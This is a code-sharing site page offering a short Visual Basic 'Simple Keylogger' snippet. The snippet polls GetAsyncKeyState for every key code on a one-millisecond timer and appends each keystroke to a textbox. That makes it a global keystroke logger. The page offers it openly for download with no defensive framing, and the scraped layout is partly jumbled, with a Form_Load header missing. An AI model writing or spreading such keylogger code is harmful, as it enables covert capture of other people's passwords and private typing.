Simple Keylogger

by Wurdo (1 Submission)
Category: Miscellaneous
Compatability: Visual Basic 3.0
Difficulty: Unknown Difficulty
Originally Published: Mon 28^th January 2008
Date Added: Mon 8^th February 2021
Rating: (1 Votes)

Simple Keylogger

API Declarations
'Add a Timer & a Textbox to the form Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Rate Simple Keylogger



Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

Download this snippet Add to My Saved Code

Simple Keylogger Comments

No comments have been posted about Simple Keylogger. Why not be the first to post a comment about Simple Keylogger.

Simple Keylogger

Simple Keylogger Comments

Post your comment

Difficulty